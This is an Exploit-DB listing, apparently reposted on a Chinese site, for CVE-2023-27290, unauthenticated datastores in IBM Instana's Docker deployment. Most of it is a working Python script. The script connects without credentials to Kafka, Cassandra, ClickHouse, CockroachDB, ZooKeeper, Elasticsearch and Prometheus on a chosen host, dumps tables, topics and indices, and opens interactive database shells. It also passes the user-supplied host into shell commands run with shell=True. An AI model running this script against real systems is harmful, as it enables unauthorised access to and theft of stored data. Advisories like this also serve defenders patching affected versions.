Docker based datastores for IBM Instana 241-2 243-0 – No Authentication

Exploit Database
136 阅读

作者： Shahid Parvez (zippon)

日期： 2023-04-07
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/51314/

# Exploit Title: Docker based datastores for IBM Instana 241-2 243-0 - No Authentication

# Google Dork: [if applicable]

# Date: 06 March 2023

# Exploit Author: Shahid Parvez (zippon)

# Vendor Homepage: https://www.instana.com/trial/ *and* https://www.ibm.com/docs/en/instana-observability

# Software Link: https://www.ibm.com/docs/en/instana-observability/current?topic=premises-operations-docker-based-instana

# Version: [Vulnerable version : 239-0 to 239-2 241-0 to 241-2 243-0] (REQUIRED Version : 241-3)

# Tested on: [Mac os]

# CVE : CVE-2023-27290

import argparse

import subprocess

import pexpect

# Define the available options and their corresponding commands

COMMANDS = {

"kafka": "kafka-topics --bootstrap-server {host}:{port} --list --exclude-internal",

"cassandra": "/bin/bash -c 'cqlsh {host} {port} && exit'",

"clickhouse": 'curl --insecure "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"',

"cockroach": "cockroach sql --host {host}:{port} --insecure",

"zookeeper": "echo dump |ncat {host} {port}",

"node-export": "curl http://{host}:{port}",

"elasticsearch": "curl http://{host}:{port}/_cat/indices?v",

"prometheus": "curl http://{host}:{port}/metrics",

"clickhouse": 'wget -O system_tables.csv "http://{host}:{port}/?query=SELECT%20*%20FROM%20system.tables"'

}

# Define the parser for command-line arguments

parser = argparse.ArgumentParser(description="Script to run various commands on a host.")

parser.add_argument("host", help="The host IP address")

parser.add_argument("option", choices=COMMANDS.keys(), help="Select an option")

parser.add_argument("--port", type=int, default=None, help="The port number (default: use default port for the selected option)")

parser.add_argument("--output", help="Output the result to a file")

parser.add_argument("--verbose", action="store_true", help="Print the command line that was executed")

# Parse the command-line arguments

args = parser.parse_args()

# Determine the port number to use

if args.port is None:

if args.option == "cassandra":

port = "9042"

elif args.option == "clickhouse":

port = "8123"

elif args.option == "cockroach":

port = "26257"

elif args.option == "elasticsearch":

port = "9200"

elif args.option == "kafka":

port = "9092"

elif args.option == "node-export":

port = "8181"

elif args.option == "prometheus":

port = "9090"

elif args.option == "zookeeper":

port = "2181"

else:

port = str(args.port)

# Build the command to execute

command = COMMANDS[args.option].format(host=args.host, port=port)

# Print the command line if verbose option is provided

if args.verbose:

print(f"Executing command: {command}")

# If cassandra or cockroach option is selected, use pexpect to communicate inside the interactive shell

if args.option == "cassandra":

child = pexpect.spawn(command)

child.expect("Connected to.*", timeout=10)

child.interact()

output = child.before

elif args.option == "cockroach":

child = pexpect.spawn(command)

child.expect("root@.*:", timeout=10)

child.interact()

output = child.before

# If any other option is selected, execute the command and capture the output

else:

output = subprocess.check_output(command, shell=True)

# If an output file is provided, write the output to the file

if args.output:

with open(args.output, "wb") as f:

f.write(output)

# Print the output to the console

print(output.decode())